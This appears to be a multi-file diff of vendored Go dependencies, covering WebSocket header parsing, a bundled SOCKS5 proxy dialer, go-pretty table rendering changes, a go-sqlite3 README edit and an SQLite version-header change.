// equalASCIIFold returns true if s is equal to t with ASCII case folding as
// defined in RFC 4790.
func equalASCIIFold(s, t string) bool {
for s != "" && t != "" {
sr, size := utf8.DecodeRuneInString(s)
s = s[size:]
tr, size := utf8.DecodeRuneInString(t)
t = t[size:]
if sr == tr {
continue
}
if 'A' <= sr && sr <= 'Z' {
sr = sr + 'a' - 'A'
}
if 'A' <= tr && tr <= 'Z' {
tr = tr + 'a' - 'A'
}
if sr != tr {
return false
}
}
return s == t
}
// tokenListContainsValue returns true if the 1#token header with the given
// name contains a token equal to value with ASCII case folding.
func tokenListContainsValue(header http.Header, name string, value string) bool {
headers:
for _, s := range header[name] {
for {
var t string
t, s = nextToken(skipSpace(s))
if t == "" {
continue headers
}
s = skipSpace(s)
if s != "" && s[0] != ',' {
continue headers
}
if equalASCIIFold(t, value) {
return true
}
if s == "" {
continue headers
}
s = s[1:]
}
}
return false
}
// parseExtensions parses WebSocket extensions from a header.
func parseExtensions(header http.Header) []map[string]string {
// From RFC 6455:
//
// Sec-WebSocket-Extensions = extension-list
// extension-list = 1#extension
// extension = extension-token *( ";" extension-param )
// extension-token = registered-token
// registered-token = token
// extension-param = token [ "=" (token | quoted-string) ]
// ;When using the quoted-string syntax variant, the value
// ;after quoted-string unescaping MUST conform to the
// ;'token' ABNF.
var result []map[string]string
headers:
for _, s := range header["Sec-Websocket-Extensions"] {
for {
var t string
t, s = nextToken(skipSpace(s))
if t == "" {
continue headers
}
ext := map[string]string{"": t}
for {
s = skipSpace(s)
if !strings.HasPrefix(s, ";") {
break
}
var k string
k, s = nextToken(skipSpace(s[1:]))
if k == "" {
continue headers
}
s = skipSpace(s)
var v string
if strings.HasPrefix(s, "=") {
v, s = nextTokenOrQuoted(skipSpace(s[1:]))
s = skipSpace(s)
}
if s != "" && s[0] != ',' && s[0] != ';' {
continue headers
}
ext[k] = v
}
if s != "" && s[0] != ',' {
continue headers
}
result = append(result, ext)
if s == "" {
continue headers
}
s = s[1:]
}
}
return result
}
+473
View File
@@ -0,0 +1,473 @@
// Code generated by golang.org/x/tools/cmd/bundle. DO NOT EDIT.
//go:generate bundle -o x_net_proxy.go golang.org/x/net/proxy
// Package proxy provides support for a variety of protocols to proxy network
// data.
//
package websocket
import (
"errors"
"io"
"net"
"net/url"
"os"
"strconv"
"strings"
"sync"
)
type proxy_direct struct{}
// Direct is a direct proxy: one that makes network connections directly.
var proxy_Direct = proxy_direct{}
func (proxy_direct) Dial(network, addr string) (net.Conn, error) {
return net.Dial(network, addr)
}
// A PerHost directs connections to a default Dialer unless the host name
// requested matches one of a number of exceptions.
type proxy_PerHost struct {
def, bypass proxy_Dialer
bypassNetworks []*net.IPNet
bypassIPs []net.IP
bypassZones []string
bypassHosts []string
}
// NewPerHost returns a PerHost Dialer that directs connections to either
// defaultDialer or bypass, depending on whether the connection matches one of
// the configured rules.
func proxy_NewPerHost(defaultDialer, bypass proxy_Dialer) *proxy_PerHost {
return &proxy_PerHost{
def: defaultDialer,
bypass: bypass,
}
}
// Dial connects to the address addr on the given network through either
// defaultDialer or bypass.
func (p *proxy_PerHost) Dial(network, addr string) (c net.Conn, err error) {
host, _, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
return p.dialerForRequest(host).Dial(network, addr)
}
func (p *proxy_PerHost) dialerForRequest(host string) proxy_Dialer {
if ip := net.ParseIP(host); ip != nil {
for _, net := range p.bypassNetworks {
if net.Contains(ip) {
return p.bypass
}
}
for _, bypassIP := range p.bypassIPs {
if bypassIP.Equal(ip) {
return p.bypass
}
}
return p.def
}
for _, zone := range p.bypassZones {
if strings.HasSuffix(host, zone) {
return p.bypass
}
if host == zone[1:] {
// For a zone ".example.com", we match "example.com"
// too.
return p.bypass
}
}
for _, bypassHost := range p.bypassHosts {
if bypassHost == host {
return p.bypass
}
}
return p.def
}
// AddFromString parses a string that contains comma-separated values
// specifying hosts that should use the bypass proxy. Each value is either an
// IP address, a CIDR range, a zone (*.example.com) or a host name
// (localhost). A best effort is made to parse the string and errors are
// ignored.
func (p *proxy_PerHost) AddFromString(s string) {
hosts := strings.Split(s, ",")
for _, host := range hosts {
host = strings.TrimSpace(host)
if len(host) == 0 {
continue
}
if strings.Contains(host, "/") {
// We assume that it's a CIDR address like 127.0.0.0/8
if _, net, err := net.ParseCIDR(host); err == nil {
p.AddNetwork(net)
}
continue
}
if ip := net.ParseIP(host); ip != nil {
p.AddIP(ip)
continue
}
if strings.HasPrefix(host, "*.") {
p.AddZone(host[1:])
continue
}
p.AddHost(host)
}
}
// AddIP specifies an IP address that will use the bypass proxy. Note that
// this will only take effect if a literal IP address is dialed. A connection
// to a named host will never match an IP.
func (p *proxy_PerHost) AddIP(ip net.IP) {
p.bypassIPs = append(p.bypassIPs, ip)
}
// AddNetwork specifies an IP range that will use the bypass proxy. Note that
// this will only take effect if a literal IP address is dialed. A connection
// to a named host will never match.
func (p *proxy_PerHost) AddNetwork(net *net.IPNet) {
p.bypassNetworks = append(p.bypassNetworks, net)
}
// AddZone specifies a DNS suffix that will use the bypass proxy. A zone of
// "example.com" matches "example.com" and all of its subdomains.
func (p *proxy_PerHost) AddZone(zone string) {
if strings.HasSuffix(zone, ".") {
zone = zone[:len(zone)-1]
}
if !strings.HasPrefix(zone, ".") {
zone = "." + zone
}
p.bypassZones = append(p.bypassZones, zone)
}
// AddHost specifies a host name that will use the bypass proxy.
func (p *proxy_PerHost) AddHost(host string) {
if strings.HasSuffix(host, ".") {
host = host[:len(host)-1]
}
p.bypassHosts = append(p.bypassHosts, host)
}
// A Dialer is a means to establish a connection.
type proxy_Dialer interface {
// Dial connects to the given address via the proxy.
Dial(network, addr string) (c net.Conn, err error)
}
// Auth contains authentication parameters that specific Dialers may require.
type proxy_Auth struct {
User, Password string
}
// FromEnvironment returns the dialer specified by the proxy related variables in
// the environment.
func proxy_FromEnvironment() proxy_Dialer {
allProxy := proxy_allProxyEnv.Get()
if len(allProxy) == 0 {
return proxy_Direct
}
proxyURL, err := url.Parse(allProxy)
if err != nil {
return proxy_Direct
}
proxy, err := proxy_FromURL(proxyURL, proxy_Direct)
if err != nil {
return proxy_Direct
}
noProxy := proxy_noProxyEnv.Get()
if len(noProxy) == 0 {
return proxy
}
perHost := proxy_NewPerHost(proxy, proxy_Direct)
perHost.AddFromString(noProxy)
return perHost
}
// proxySchemes is a map from URL schemes to a function that creates a Dialer
// from a URL with such a scheme.
var proxy_proxySchemes map[string]func(*url.URL, proxy_Dialer) (proxy_Dialer, error)
// RegisterDialerType takes a URL scheme and a function to generate Dialers from
// a URL with that scheme and a forwarding Dialer. Registered schemes are used
// by FromURL.
func proxy_RegisterDialerType(scheme string, f func(*url.URL, proxy_Dialer) (proxy_Dialer, error)) {
if proxy_proxySchemes == nil {
proxy_proxySchemes = make(map[string]func(*url.URL, proxy_Dialer) (proxy_Dialer, error))
}
proxy_proxySchemes[scheme] = f
}
// FromURL returns a Dialer given a URL specification and an underlying
// Dialer for it to make network requests.
func proxy_FromURL(u *url.URL, forward proxy_Dialer) (proxy_Dialer, error) {
var auth *proxy_Auth
if u.User != nil {
auth = new(proxy_Auth)
auth.User = u.User.Username()
if p, ok := u.User.Password(); ok {
auth.Password = p
}
}
switch u.Scheme {
case "socks5":
return proxy_SOCKS5("tcp", u.Host, auth, forward)
}
// If the scheme doesn't match any of the built-in schemes, see if it
// was registered by another package.
if proxy_proxySchemes != nil {
if f, ok := proxy_proxySchemes[u.Scheme]; ok {
return f(u, forward)
}
}
return nil, errors.New("proxy: unknown scheme: " + u.Scheme)
}
var (
proxy_allProxyEnv = &proxy_envOnce{
names: []string{"ALL_PROXY", "all_proxy"},
}
proxy_noProxyEnv = &proxy_envOnce{
names: []string{"NO_PROXY", "no_proxy"},
}
)
// envOnce looks up an environment variable (optionally by multiple
// names) once. It mitigates expensive lookups on some platforms
// (e.g. Windows).
// (Borrowed from net/http/transport.go)
type proxy_envOnce struct {
names []string
once sync.Once
val string
}
func (e *proxy_envOnce) Get() string {
e.once.Do(e.init)
return e.val
}
func (e *proxy_envOnce) init() {
for _, n := range e.names {
e.val = os.Getenv(n)
if e.val != "" {
return
}
}
}
// SOCKS5 returns a Dialer that makes SOCKSv5 connections to the given address
// with an optional username and password. See RFC 1928 and RFC 1929.
func proxy_SOCKS5(network, addr string, auth *proxy_Auth, forward proxy_Dialer) (proxy_Dialer, error) {
s := &proxy_socks5{
network: network,
addr: addr,
forward: forward,
}
if auth != nil {
s.user = auth.User
s.password = auth.Password
}
return s, nil
}
type proxy_socks5 struct {
user, password string
network, addr string
forward proxy_Dialer
}
const proxy_socks5Version = 5
const (
proxy_socks5AuthNone = 0
proxy_socks5AuthPassword = 2
)
const proxy_socks5Connect = 1
const (
proxy_socks5IP4 = 1
proxy_socks5Domain = 3
proxy_socks5IP6 = 4
)
var proxy_socks5Errors = []string{
"",
"general failure",
"connection forbidden",
"network unreachable",
"host unreachable",
"connection refused",
"TTL expired",
"command not supported",
"address type not supported",
}
// Dial connects to the address addr on the given network via the SOCKS5 proxy.
func (s *proxy_socks5) Dial(network, addr string) (net.Conn, error) {
switch network {
case "tcp", "tcp6", "tcp4":
default:
return nil, errors.New("proxy: no support for SOCKS5 proxy connections of type " + network)
}
conn, err := s.forward.Dial(s.network, s.addr)
if err != nil {
return nil, err
}
if err := s.connect(conn, addr); err != nil {
conn.Close()
return nil, err
}
return conn, nil
}
// connect takes an existing connection to a socks5 proxy server,
// and commands the server to extend that connection to target,
// which must be a canonical address with a host and port.
func (s *proxy_socks5) connect(conn net.Conn, target string) error {
host, portStr, err := net.SplitHostPort(target)
if err != nil {
return err
}
port, err := strconv.Atoi(portStr)
if err != nil {
return errors.New("proxy: failed to parse port number: " + portStr)
}
if port < 1 || port > 0xffff {
return errors.New("proxy: port number out of range: " + portStr)
}
// the size here is just an estimate
buf := make([]byte, 0, 6+len(host))
buf = append(buf, proxy_socks5Version)
if len(s.user) > 0 && len(s.user) < 256 && len(s.password) < 256 {
buf = append(buf, 2 /* num auth methods */, proxy_socks5AuthNone, proxy_socks5AuthPassword)
} else {
buf = append(buf, 1 /* num auth methods */, proxy_socks5AuthNone)
}
if _, err := conn.Write(buf); err != nil {
return errors.New("proxy: failed to write greeting to SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
if _, err := io.ReadFull(conn, buf[:2]); err != nil {
return errors.New("proxy: failed to read greeting from SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
if buf[0] != 5 {
return errors.New("proxy: SOCKS5 proxy at " + s.addr + " has unexpected version " + strconv.Itoa(int(buf[0])))
}
if buf[1] == 0xff {
return errors.New("proxy: SOCKS5 proxy at " + s.addr + " requires authentication")
}
// See RFC 1929
if buf[1] == proxy_socks5AuthPassword {
buf = buf[:0]
buf = append(buf, 1 /* password protocol version */)
buf = append(buf, uint8(len(s.user)))
buf = append(buf, s.user...)
buf = append(buf, uint8(len(s.password)))
buf = append(buf, s.password...)
if _, err := conn.Write(buf); err != nil {
return errors.New("proxy: failed to write authentication request to SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
if _, err := io.ReadFull(conn, buf[:2]); err != nil {
return errors.New("proxy: failed to read authentication reply from SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
if buf[1] != 0 {
return errors.New("proxy: SOCKS5 proxy at " + s.addr + " rejected username/password")
}
}
buf = buf[:0]
buf = append(buf, proxy_socks5Version, proxy_socks5Connect, 0 /* reserved */)
if ip := net.ParseIP(host); ip != nil {
if ip4 := ip.To4(); ip4 != nil {
buf = append(buf, proxy_socks5IP4)
ip = ip4
} else {
buf = append(buf, proxy_socks5IP6)
}
buf = append(buf, ip...)
} else {
if len(host) > 255 {
return errors.New("proxy: destination host name too long: " + host)
}
buf = append(buf, proxy_socks5Domain)
buf = append(buf, byte(len(host)))
buf = append(buf, host...)
}
buf = append(buf, byte(port>>8), byte(port))
if _, err := conn.Write(buf); err != nil {
return errors.New("proxy: failed to write connect request to SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
if _, err := io.ReadFull(conn, buf[:4]); err != nil {
return errors.New("proxy: failed to read connect reply from SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
failure := "unknown error"
if int(buf[1]) < len(proxy_socks5Errors) {
failure = proxy_socks5Errors[buf[1]]
}
if len(failure) > 0 {
return errors.New("proxy: SOCKS5 proxy at " + s.addr + " failed to connect: " + failure)
}
bytesToDiscard := 0
switch buf[3] {
case proxy_socks5IP4:
bytesToDiscard = net.IPv4len
case proxy_socks5IP6:
bytesToDiscard = net.IPv6len
case proxy_socks5Domain:
_, err := io.ReadFull(conn, buf[:1])
if err != nil {
return errors.New("proxy: failed to read domain length from SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
bytesToDiscard = int(buf[0])
default:
return errors.New("proxy: got unknown address type " + strconv.Itoa(int(buf[3])) + " from SOCKS5 proxy at " + s.addr)
}
if cap(buf) < bytesToDiscard {
buf = make([]byte, bytesToDiscard)
} else {
buf = buf[:bytesToDiscard]
}
if _, err := io.ReadFull(conn, buf); err != nil {
return errors.New("proxy: failed to read address from SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
// Also need to discard the port number
if _, err := io.ReadFull(conn, buf[:2]); err != nil {
return errors.New("proxy: failed to read port from SOCKS5 proxy at " + s.addr + ": " + err.Error())
}
return nil
}
+9 -9
View File
@@ -364,16 +364,15 @@ func (t *Table) renderRowsHeader(out *strings.Builder) {
func (t *Table) renderTitle(out *strings.Builder) {
if t.title != "" {
colors := t.style.Title.Colors
rowLength := t.maxRowLength
if t.allowedRowLength != 0 && t.allowedRowLength < rowLength {
rowLength = t.allowedRowLength
}
if t.style.Options.DrawBorder {
lenBorder := rowLength - text.RuneWidthWithoutEscSequences(t.style.Box.TopLeft+t.style.Box.TopRight)
out.WriteString(colors.Sprint(t.style.Box.TopLeft))
out.WriteString(colors.Sprint(text.RepeatAndTrim(t.style.Box.MiddleHorizontal, lenBorder)))
out.WriteString(colors.Sprint(t.style.Box.TopRight))
out.WriteString(t.style.Box.TopLeft)
out.WriteString(text.RepeatAndTrim(t.style.Box.MiddleHorizontal, lenBorder))
out.WriteString(t.style.Box.TopRight)
}
lenText := rowLength - text.RuneWidthWithoutEscSequences(t.style.Box.PaddingLeft+t.style.Box.PaddingRight)
@@ -382,25 +381,26 @@ func (t *Table) renderTitle(out *strings.Builder) {
}
titleText := text.WrapText(t.title, lenText)
for _, titleLine := range strings.Split(titleText, "\n") {
t.renderTitleLine(out, lenText, titleLine, colors)
t.renderTitleLine(out, lenText, titleLine)
}
}
}
func (t *Table) renderTitleLine(out *strings.Builder, lenText int, titleLine string, colors text.Colors) {
func (t *Table) renderTitleLine(out *strings.Builder, lenText int, titleLine string) {
titleLine = strings.TrimSpace(titleLine)
titleLine = t.style.Title.Format.Apply(titleLine)
titleLine = t.style.Title.Align.Apply(titleLine, lenText)
titleLine = t.style.Box.PaddingLeft + titleLine + t.style.Box.PaddingRight
titleLine = t.style.Title.Colors.Sprint(titleLine)
if out.Len() > 0 {
out.WriteRune('\n')
}
if t.style.Options.DrawBorder {
out.WriteString(colors.Sprint(t.style.Box.Left))
out.WriteString(t.style.Box.Left)
}
out.WriteString(colors.Sprint(titleLine))
out.WriteString(titleLine)
if t.style.Options.DrawBorder {
out.WriteString(colors.Sprint(t.style.Box.Right))
out.WriteString(t.style.Box.Right)
}
}
-34
View File
@@ -1,34 +0,0 @@
package table
// renderHint has hints for the Render*() logic
type renderHint struct {
isAutoIndexColumn bool // auto-index column?
isAutoIndexRow bool // auto-index row?
isBorderBottom bool // bottom-border?
isBorderTop bool // top-border?
isFirstRow bool // first-row of header/footer/regular-rows?
isFooterRow bool // footer row?
isHeaderRow bool // header row?
isLastLineOfRow bool // last-line of the current row?
isLastRow bool // last-row of header/footer/regular-rows?
isSeparatorRow bool // separator row?
rowLineNumber int // the line number for a multi-line row
rowNumber int // the row number/index
}
func (h *renderHint) isRegularRow() bool {
return !h.isHeaderRow && !h.isFooterRow
}
func (h *renderHint) isRegularNonSeparatorRow() bool {
return !h.isHeaderRow && !h.isFooterRow && !h.isSeparatorRow
}
func (h *renderHint) isHeaderOrFooterSeparator() bool {
return h.isSeparatorRow && !h.isBorderBottom && !h.isBorderTop &&
((h.isHeaderRow && !h.isLastRow) || (h.isFooterRow && (!h.isFirstRow || h.rowNumber > 0)))
}
func (h *renderHint) isLastLineOfLastRow() bool {
return h.isLastLineOfRow && h.isLastRow
}
+80 -119
View File
@@ -371,14 +371,12 @@ func (t *Table) getAutoIndexColumnIDs() rowStr {
}
func (t *Table) getBorderColors(hint renderHint) text.Colors {
if hint.isHeaderRow {
return t.style.Color.Header
} else if hint.isFooterRow {
if hint.isFooterRow {
return t.style.Color.Footer
} else if t.autoIndex {
return t.style.Color.IndexColumn
}
return t.style.Color.Row
return t.style.Color.Header
}
func (t *Table) getBorderLeft(hint renderHint) string {
@@ -559,43 +557,6 @@ func (t *Table) getMaxColumnLengthForMerging(colIdx int) int {
return maxColumnLength
}
// getMergedColumnIndices returns a map of colIdx values to all the other colIdx
// values (that are being merged) and their lengths.
func (t *Table) getMergedColumnIndices(row rowStr, hint renderHint) map[int]map[int]bool {
if !t.getRowConfig(hint).AutoMerge {
return nil
}
rsp := make(map[int]map[int]bool)
appendColumnsToResponse := func(colIdx, otherColIdx int) {
if rsp[colIdx] == nil {
rsp[colIdx] = make(map[int]bool)
}
if rsp[otherColIdx] == nil {
rsp[otherColIdx] = make(map[int]bool)
}
rsp[colIdx][otherColIdx] = true
rsp[otherColIdx][colIdx] = true
}
for colIdx := 0; colIdx < t.numColumns-1; colIdx++ {
// look backward
for otherColIdx := colIdx - 1; colIdx >= 0 && otherColIdx >= 0; otherColIdx-- {
if row[colIdx] != row[otherColIdx] {
break
}
appendColumnsToResponse(colIdx, otherColIdx)
}
// look forward
for otherColIdx := colIdx + 1; colIdx < len(row) && otherColIdx < len(row); otherColIdx++ {
if row[colIdx] != row[otherColIdx] {
break
}
appendColumnsToResponse(colIdx, otherColIdx)
}
}
return rsp
}
func (t *Table) getRow(rowIdx int, hint renderHint) rowStr {
switch {
case hint.isHeaderRow:
@@ -666,39 +627,6 @@ func (t *Table) hasHiddenColumns() bool {
return false
}
func (t *Table) hideColumns() map[int]int {
colIdxMap := make(map[int]int)
numColumns := 0
hideColumnsInRows := func(rows []rowStr) []rowStr {
var rsp []rowStr
for _, row := range rows {
var rowNew rowStr
for colIdx, col := range row {
cc := t.columnConfigMap[colIdx]
if !cc.Hidden {
rowNew = append(rowNew, col)
colIdxMap[colIdx] = len(rowNew) - 1
}
}
if len(rowNew) > numColumns {
numColumns = len(rowNew)
}
rsp = append(rsp, rowNew)
}
return rsp
}
// hide columns as directed
t.rows = hideColumnsInRows(t.rows)
t.rowsFooter = hideColumnsInRows(t.rowsFooter)
t.rowsHeader = hideColumnsInRows(t.rowsHeader)
// reset numColumns to the new number of columns
t.numColumns = numColumns
return colIdxMap
}
func (t *Table) initForRender() {
// pick a default style if none was set until now
t.Style()
@@ -740,12 +668,16 @@ func (t *Table) initForRenderColumnConfigs() {
func (t *Table) initForRenderColumnLengths() {
t.maxColumnLengths = make([]int, t.numColumns)
t.parseRowForMaxColumnLengths(t.rowsHeader, renderHint{isHeaderRow: true})
t.parseRowForMaxColumnLengths(t.rows, renderHint{})
t.parseRowForMaxColumnLengths(t.rowsFooter, renderHint{isFooterRow: true})
t.parseRowForMaxColumnLengths(t.rowsHeader)
t.parseRowForMaxColumnLengths(t.rows)
t.parseRowForMaxColumnLengths(t.rowsFooter)
// increase the column lengths if any are under the limits
// restrict the column lengths if any are over or under the limits
for colIdx := range t.maxColumnLengths {
maxWidth := t.getColumnWidthMax(colIdx)
if maxWidth > 0 && t.maxColumnLengths[colIdx] > maxWidth {
t.maxColumnLengths[colIdx] = maxWidth
}
minWidth := t.getColumnWidthMin(colIdx)
if minWidth > 0 && t.maxColumnLengths[colIdx] < minWidth {
t.maxColumnLengths[colIdx] = minWidth
@@ -753,6 +685,39 @@ func (t *Table) initForRenderColumnLengths() {
}
}
func (t *Table) hideColumns() map[int]int {
colIdxMap := make(map[int]int)
numColumns := 0
hideColumnsInRows := func(rows []rowStr) []rowStr {
var rsp []rowStr
for _, row := range rows {
var rowNew rowStr
for colIdx, col := range row {
cc := t.columnConfigMap[colIdx]
if !cc.Hidden {
rowNew = append(rowNew, col)
colIdxMap[colIdx] = len(rowNew) - 1
}
}
if len(rowNew) > numColumns {
numColumns = len(rowNew)
}
rsp = append(rsp, rowNew)
}
return rsp
}
// hide columns as directed
t.rows = hideColumnsInRows(t.rows)
t.rowsFooter = hideColumnsInRows(t.rowsFooter)
t.rowsHeader = hideColumnsInRows(t.rowsHeader)
// reset numColumns to the new number of columns
t.numColumns = numColumns
return colIdxMap
}
func (t *Table) initForRenderHideColumns() {
if !t.hasHiddenColumns() {
return
@@ -885,44 +850,11 @@ func (t *Table) isIndexColumn(colIdx int, hint renderHint) bool {
return t.indexColumn == colIdx+1 || hint.isAutoIndexColumn
}
func (t *Table) parseRowForMaxColumnLengths(rows []rowStr, hint renderHint) {
getMergedColumnsTotalLength := func(colIdx int, mergedColumns map[int]bool) int {
mergedColLength := t.maxColumnLengths[colIdx]
for otherColIdx := range mergedColumns {
mergedColLength += t.maxColumnLengths[otherColIdx]
}
return mergedColLength
}
separatorLength := text.RuneWidthWithoutEscSequences(t.style.Box.MiddleSeparator)
for rowIdx, row := range rows {
hint.rowNumber = rowIdx + 1
mergedColumnsMap := t.getMergedColumnIndices(row, hint)
func (t *Table) parseRowForMaxColumnLengths(rows []rowStr) {
for _, row := range rows {
for colIdx, colStr := range row {
longestLineLen := text.LongestLineLen(colStr)
maxColWidth := t.getColumnWidthMax(colIdx)
if maxColWidth > 0 && maxColWidth < longestLineLen {
longestLineLen = maxColWidth
}
mergedColumnsForCol := mergedColumnsMap[colIdx]
mergedColumnsLength := getMergedColumnsTotalLength(colIdx, mergedColumnsForCol)
if longestLineLen > mergedColumnsLength {
if mergedColumnsLength > 0 {
numMergedColumns := len(mergedColumnsForCol) + 1
longestLineLen -= (numMergedColumns - 1) * separatorLength
maxLengthSplitAcrossColumns := longestLineLen / numMergedColumns
if maxLengthSplitAcrossColumns > t.maxColumnLengths[colIdx] {
t.maxColumnLengths[colIdx] = maxLengthSplitAcrossColumns
}
for otherColIdx := range mergedColumnsForCol {
if maxLengthSplitAcrossColumns > t.maxColumnLengths[otherColIdx] {
t.maxColumnLengths[otherColIdx] = maxLengthSplitAcrossColumns
}
}
} else {
t.maxColumnLengths[colIdx] = longestLineLen
}
} else if maxColWidth == 0 && longestLineLen > t.maxColumnLengths[colIdx] {
if longestLineLen > t.maxColumnLengths[colIdx] {
t.maxColumnLengths[colIdx] = longestLineLen
}
}
@@ -1032,11 +964,7 @@ func (t *Table) wrapRow(row rowStr) (int, rowStr) {
rowWrapped := make(rowStr, len(row))
for colIdx, colStr := range row {
widthEnforcer := t.columnConfigMap[colIdx].getWidthMaxEnforcer()
maxWidth := t.getColumnWidthMax(colIdx)
if maxWidth == 0 {
maxWidth = t.maxColumnLengths[colIdx]
}
rowWrapped[colIdx] = widthEnforcer(colStr, maxWidth)
rowWrapped[colIdx] = widthEnforcer(colStr, t.maxColumnLengths[colIdx])
colNumLines := strings.Count(rowWrapped[colIdx], "\n") + 1
if colNumLines > colMaxLines {
colMaxLines = colNumLines
@@ -1044,3 +972,36 @@ func (t *Table) wrapRow(row rowStr) (int, rowStr) {
}
return colMaxLines, rowWrapped
}
// renderHint has hints for the Render*() logic
type renderHint struct {
isAutoIndexColumn bool // auto-index column?
isAutoIndexRow bool // auto-index row?
isBorderBottom bool // bottom-border?
isBorderTop bool // top-border?
isFirstRow bool // first-row of header/footer/regular-rows?
isFooterRow bool // footer row?
isHeaderRow bool // header row?
isLastLineOfRow bool // last-line of the current row?
isLastRow bool // last-row of header/footer/regular-rows?
isSeparatorRow bool // separator row?
rowLineNumber int // the line number for a multi-line row
rowNumber int // the row number/index
}
func (h *renderHint) isRegularRow() bool {
return !h.isHeaderRow && !h.isFooterRow
}
func (h *renderHint) isRegularNonSeparatorRow() bool {
return !h.isHeaderRow && !h.isFooterRow && !h.isSeparatorRow
}
func (h *renderHint) isHeaderOrFooterSeparator() bool {
return h.isSeparatorRow && !h.isBorderBottom && !h.isBorderTop &&
((h.isHeaderRow && !h.isLastRow) || (h.isFooterRow && (!h.isFirstRow || h.rowNumber > 0)))
}
func (h *renderHint) isLastLineOfLastRow() bool {
return h.isLastLineOfRow && h.isLastRow
}
-8
View File
@@ -1,8 +0,0 @@
# text
[![Go Reference](https://pkg.go.dev/badge/github.com/jedib0t/go-pretty/v6.svg)](https://pkg.go.dev/github.com/jedib0t/go-pretty/v6/text)
Package with utility functions to manipulate strings/text.
Used heavily in the other packages in this repo ([list](../list),
[progress](../progress), and [table](../table)).
+7 -9
View File
@@ -1,7 +1,7 @@
go-sqlite3
==========
[![Go Reference](https://pkg.go.dev/badge/github.com/mattn/go-sqlite3.svg)](https://pkg.go.dev/github.com/mattn/go-sqlite3)
[![GoDoc Reference](https://godoc.org/github.com/mattn/go-sqlite3?status.svg)](http://godoc.org/github.com/mattn/go-sqlite3)
[![GitHub Actions](https://github.com/mattn/go-sqlite3/workflows/Go/badge.svg)](https://github.com/mattn/go-sqlite3/actions?query=workflow%3AGo)
[![Financial Contributors on Open Collective](https://opencollective.com/mattn-go-sqlite3/all/badge.svg?label=financial+contributors)](https://opencollective.com/mattn-go-sqlite3)
[![codecov](https://codecov.io/gh/mattn/go-sqlite3/branch/master/graph/badge.svg)](https://codecov.io/gh/mattn/go-sqlite3)
@@ -172,18 +172,15 @@ go build --tags "icu json1 fts5 secure_delete"
| International Components for Unicode | sqlite_icu | This option causes the International Components for Unicode or "ICU" extension to SQLite to be added to the build |
| Introspect PRAGMAS | sqlite_introspect | This option adds some extra PRAGMA statements. <ul><li>PRAGMA function_list</li><li>PRAGMA module_list</li><li>PRAGMA pragma_list</li></ul> |
| JSON SQL Functions | sqlite_json | When this option is defined in the amalgamation, the JSON SQL functions are added to the build automatically |
| Math Functions | sqlite_math_functions | This compile-time option enables built-in scalar math functions. For more information see [Built-In Mathematical SQL Functions](https://www.sqlite.org/lang_mathfunc.html) |
| OS Trace | sqlite_os_trace | This option enables OSTRACE() debug logging. This can be verbose and should not be used in production. |
| Pre Update Hook | sqlite_preupdate_hook | Registers a callback function that is invoked prior to each INSERT, UPDATE, and DELETE operation on a database table. |
| Secure Delete | sqlite_secure_delete | This compile-time option changes the default setting of the secure_delete pragma.<br><br>When this option is not used, secure_delete defaults to off. When this option is present, secure_delete defaults to on.<br><br>The secure_delete setting causes deleted content to be overwritten with zeros. There is a small performance penalty since additional I/O must occur.<br><br>On the other hand, secure_delete can prevent fragments of sensitive information from lingering in unused parts of the database file after it has been deleted. See the documentation on the secure_delete pragma for additional information |
| Secure Delete (FAST) | sqlite_secure_delete_fast | For more information see [PRAGMA secure_delete](https://www.sqlite.org/pragma.html#pragma_secure_delete) |
| Tracing / Debug | sqlite_trace | Activate trace functions |
| User Authentication | sqlite_userauth | SQLite User Authentication see [User Authentication](#user-authentication) for more information. |
| Virtual Tables | sqlite_vtable | SQLite Virtual Tables see [SQLite Official VTABLE Documentation](https://www.sqlite.org/vtab.html) for more information, and a [full example here](https://github.com/mattn/go-sqlite3/tree/master/_example/vtable) |
# Compilation
This package requires the `CGO_ENABLED=1` environment variable if not set by default, and the presence of the `gcc` compiler.
This package requires the `CGO_ENABLED=1` ennvironment variable if not set by default, and the presence of the `gcc` compiler.
If you need to add additional CFLAGS or LDFLAGS to the build command, and do not want to modify this package, then this can be achieved by using the `CGO_CFLAGS` and `CGO_LDFLAGS` environment variables.
@@ -219,13 +216,14 @@ This library can be cross-compiled.
In some cases you are required to the `CC` environment variable with the cross compiler.
## Cross Compiling from MAC OSX
The simplest way to cross compile from OSX is to use [musl-cross](https://github.com/FiloSottile/homebrew-musl-cross).
The simplest way to cross compile from OSX is to use [xgo](https://github.com/karalabe/xgo).
Steps:
- Install [musl-cross](https://github.com/FiloSottile/homebrew-musl-cross) (`brew install FiloSottile/musl-cross/musl-cross`).
- Run `CC=x86_64-linux-musl-gcc CXX=x86_64-linux-musl-g++ GOARCH=amd64 GOOS=linux CGO_ENABLED=1 go build -ldflags "-linkmode external -extldflags -static"`.
- Install [xgo](https://github.com/karalabe/xgo) (`go get github.com/karalabe/xgo`).
- Ensure that your project is within your `GOPATH`.
- Run `xgo local/path/to/project`.
Please refer to the project's [README](https://github.com/FiloSottile/homebrew-musl-cross#readme) for further information.
Please refer to the project's [README](https://github.com/karalabe/xgo/blob/master/README.md) for further information.
# Google Cloud Platform
+106 -203
View File
@@ -1,7 +1,7 @@
#ifndef USE_LIBSQLITE3
/******************************************************************************
** This file is an amalgamation of many separate C source files from SQLite
** version 3.39.4. By combining all the individual C code files into this
** version 3.39.2. By combining all the individual C code files into this
** single large file, the entire code can be compiled as a single translation
** unit. This allows many compilers to do optimizations that would not be
** possible if the files were compiled separately. Performance improvements
@@ -453,9 +453,9 @@ extern "C" {
** [sqlite3_libversion_number()], [sqlite3_sourceid()],
** [sqlite_version()] and [sqlite_source_id()].
*/
#define SQLITE_VERSION "3.39.4"
#define SQLITE_VERSION_NUMBER 3039004
#define SQLITE_SOURCE_ID "2022-09-29 15:55:41 a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309"
#define SQLITE_VERSION "3.39.2"
#define SQLITE_VERSION_NUMBER 3039002
#define SQLITE_SOURCE_ID "2022-07-21 15:24:47 698edb77537b67c41adc68f9b892db56bcf9a55e00371a61420f3ddd668e6603"
/*
** CAPI3REF: Run-Time Library Version Numbers
